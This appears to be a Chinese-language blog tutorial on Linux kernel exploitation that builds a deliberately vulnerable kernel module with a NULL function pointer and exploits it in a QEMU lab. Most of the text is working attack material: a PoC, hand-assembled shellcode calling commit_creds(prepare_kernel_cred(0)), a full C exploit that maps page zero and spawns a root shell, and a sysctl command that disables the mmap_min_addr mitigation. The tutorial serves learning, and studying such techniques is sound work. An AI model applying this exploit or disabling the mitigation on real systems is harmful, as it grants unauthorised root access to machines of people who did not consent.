BruceFan's Blog

Stay hungry, stay foolish

0%

Linux内核漏洞利用(二)NULL Pointer Dereference

漏洞比较久远,仅是作为Linux Kernel Exploit入门。

漏洞代码 null_dereference.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
}

static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
}

static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。
Makefile如下:

1
2
3
4
5
6
7
8
9
obj-m := null_dereference.o
KERNELDR := /home/fanrong/Computer/linux-kernel/linux-2.6.32
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
$(MAKE) -C $(KERNELDR) M=$(PWD) clean

将漏洞代码在本地编译之后,将null_dereference.ko文件放到busybox-1.19.4/_install/usr/目录中。
PoC poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef

int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7); // 调用bug1的write函数
return 0;
}

编译:

1
$ gcc -static poc.c -o poc

一定要静态链接,因为进busybox链接库那些是没有的。将编译出的poc也放到busybox的usr目录中。
这里要注意,每次拷贝新文件到busybox的文件系统中去,都要在_install目录中执行:

1
$ find . | cpio -o --format=newc > ../rootfs.img

重新生成rootfs.img文件。
qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

1
(qemu) gdbserver tcp::1234


在本地linux-2.6.32目录中用gdb去连接:

1
2
3
4
5
6
7
8
$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311 current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing

在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

1
2
3
/usr # insmod null_dereference.ko
...
/usr # ./poc

这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

可以看到如果继续执行就会执行我们的payload。
exploit
1.思路:给当前进程赋予root权限

1
commit_creds(prepare_kernel_cred(0));

在qemu中获取commit_creds和prepare_kernel_cred地址:

1
2
3
4
5
/ # grep commit_creds /proc/kallsyms
c1056f80 T commit_creds
c11a6b60 T security_commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
c1057120 T prepare_kernel_cred

2.编写shellcode

1
2
3
4
xor %eax, %eax
call 0xc1057120
call 0xc1056f80
ret

编译shellcode,并获取其机器码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload

payload: file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: 31 c0 xor %eax,%eax
2: e8 19 71 05 c1 call c1057120 <_end+0xc1056110>
7: e8 74 6f 05 c1 call c1056f80 <_end+0xc1055f70>
c: c3 ret

得到shellcode:

1
shellcode = "\x31\xc0\xe8\x19\x71\x05\xc1\xe8\x74\x6f\x05\xc1\xc3"

现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\x31\xc0\xe8\x19\x71\x05\xc1\xe8\x74\x6f\x05\xc1\xc3";

int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7);
system("/bin/sh"); // get root shell
return 0;
}

编译exploit:

1
$ gcc -static exploit.c -o exploit

将exploit放到busybox的usr目录中,在busybox的etc目录中新建passwd文件和group文件,在根目录新建/home/fanrong
新建用户测试Exploit:

这里会报错,因为2.6.32内核已经使用mmap_min_addr作为缓解措施,mmap_min_addr为4096,需要设置一下mmap_min_addr:

1
# sysctl -w vm.mmap_min_addr="0"

再次运行exploit:

成功拿到root shell!
reference
http://bobao.360.cn/learning/detail/3702.html